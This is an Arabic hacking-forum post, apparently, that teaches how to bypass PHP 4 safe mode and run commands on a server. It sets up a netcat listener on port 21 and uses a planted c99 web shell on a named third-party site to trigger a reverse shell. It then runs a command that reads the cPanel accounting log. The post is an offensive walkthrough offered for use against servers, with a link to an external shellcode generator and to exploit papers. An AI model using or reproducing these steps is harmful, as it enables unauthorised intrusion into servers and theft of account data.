السلام عليكم ورحمة الله
كيفكم خواني ان شاء الله بخير
ثغره في كل اصدارات
PHP 4 تسمح لك بتجاوز السيف مود وتطبيق أوامر
هناك طريقتين للستغلال من خلال الشل
c99 او من خلال رفع ملف
php على اي موقع
نشرح الثغره من خلال الشل
c99
نبدأ الشرح
نروح لنت كات ونكتب امر التنصت على البورت
بهذا الامر
nc -l -n -vv -p 21
الان تم التنصت على البورت
21
ندخل هذا الموقع طبعا اسم الموقع مشفر في المنتدى لهذا اختصرت رابط الموقع
http://reere.notlong.com/
اكتب رقم اي بيك الحقيقي والبورت
21
تابع الشرح بصوره
الان نقوم بنسخ الشيل كود مثل ماهو موضح بصوره الى
"
الان بعد نسخ الكود
نحمل ملف
PHP-code من المرفق
ونلصق الكود في اعلى الملف وننزل سطر
ونفتح الشل الي راح نطبق عليه الثغره من خلال خيار
PHP-code
http://rnbafisha.ru/admin/img/index.html.php
الان نلصق الكود الي عدلنا عليه ونضغط زر
Execute
الان نرجع لنت كات
الان تم الاتصال مع السرفر الان نجرب ننفذ امر
cat /var/cpanel/accounting.log
والان تم تطبيق الامر
المصدر ومواضيع تفيد بخصوص الثغره
http://www.milw0rm.com/papers/56
http://www.jaascois.com/research/36601027/
http://www.milw0rm.com/papers/73
http://blogs.technet.com/robert_hens...was-there.aspx
http://underground54.serveurperso.com/hacking.php?id=73
http://osvdb.org/displayvuln.php?osvdb_id=32770
تحميل الشرح مع الصور بصيغة html
تجاوز السيف مود وتطبيق أوامر على السيرفر
